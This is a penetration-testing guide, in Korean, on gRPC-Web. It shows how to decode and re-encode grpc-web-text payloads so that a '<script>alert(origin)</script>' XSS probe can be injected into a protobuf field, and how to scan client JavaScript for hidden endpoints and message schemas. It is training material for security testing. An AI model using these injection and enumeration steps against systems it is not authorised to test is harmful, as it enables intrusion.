# Pentesting gRPC-Web

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## **Manipulating gRPC-Web Payloads**
gRPC-Web는 요청에서 Content-Type: `application/grpc-web-text`를 사용하며, 이는 base64로 인코딩된 protobuf의 일종입니다. [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용할 수 있으며, [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite)도 설치할 수 있습니다.

### **Manual with gGRPC Coder Tool**
1. 먼저 페이로드를 디코드합니다:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. 디코딩된 페이로드의 내용 수정
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. 새로운 페이로드 인코딩
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Burp 인터셉터에서 출력 사용:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Manual with gRPC-Web Coder Burp Suite Extension**
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)에서 gRPC-Web Coder Burp Suite Extension을 사용할 수 있으며, 이는 더 쉽습니다. 설치 및 사용 지침은 해당 리포지토리에서 확인할 수 있습니다.

## **gRPC-Web 자바스크립트 파일 분석**
모든 gRPC-Web 애플리케이션에는 최소한 하나의 자바스크립트 파일이 있습니다. 파일을 분석하여 새로운 메시지, 엔드포인트 및 서비스를 찾을 수 있습니다. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용해 보세요.
1. 자바스크립트 gRPC-Web 파일 다운로드
2. grpc-scan.py로 스캔하기:
```bash
python3 grpc-scan.py --file main.js
```
3. 출력 분석 및 새로운 엔드포인트와 새로운 서비스 테스트:
```
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort

Found Messages:

grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name |     Field Type     | Field Number |
+============+====================+==============+
| Message    | Proto3StringField  | 1            |
+------------+--------------------+--------------+
| Name       | Proto3StringField  | 2            |
+------------+--------------------+--------------+
| Age        | Proto3IntField     | 3            |
+------------+--------------------+--------------+
| IsAdmin    | Proto3BooleanField | 4            |
+------------+--------------------+--------------+
| Weight     | Proto3FloatField   | 5            |
+------------+--------------------+--------------+
| Test       | Proto3StringField  | 6            |
+------------+--------------------+--------------+
| Test2      | Proto3StringField  | 7            |
+------------+--------------------+--------------+
| Test3      | Proto3StringField  | 16           |
+------------+--------------------+--------------+
| Test4      | Proto3StringField  | 20           |
+------------+--------------------+--------------+

grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
|  Field Name  |     Field Type     | Field Number |
+==============+====================+==============+
| Message      | Proto3StringField  | 1            |
+--------------+--------------------+--------------+
| Name         | Proto3StringField  | 2            |
+--------------+--------------------+--------------+
| Age          | Proto3IntField     | 3            |
+--------------+--------------------+--------------+
| IsAdmin      | Proto3BooleanField | 4            |
+--------------+--------------------+--------------+
| Weight       | Proto3FloatField   | 5            |
+--------------+--------------------+--------------+
| Test         | Proto3StringField  | 6            |
+--------------+--------------------+--------------+
| Test2        | Proto3StringField  | 7            |
+--------------+--------------------+--------------+
| Test3        | Proto3StringField  | 16           |
+--------------+--------------------+--------------+
| Test4        | Proto3StringField  | 20           |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField     | 8            |
+--------------+--------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
|   Field Name    |    Field Type     | Field Number |
+=================+===================+==============+
| Message         | Proto3StringField | 1            |
+-----------------+-------------------+--------------+
| MessageCount    | Proto3IntField    | 2            |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField    | 3            |
+-----------------+-------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
|  Field Name  |   Field Type   | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1            |
+--------------+----------------+--------------+
```
## References

* [Hacking into gRPC-Web Article by Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)

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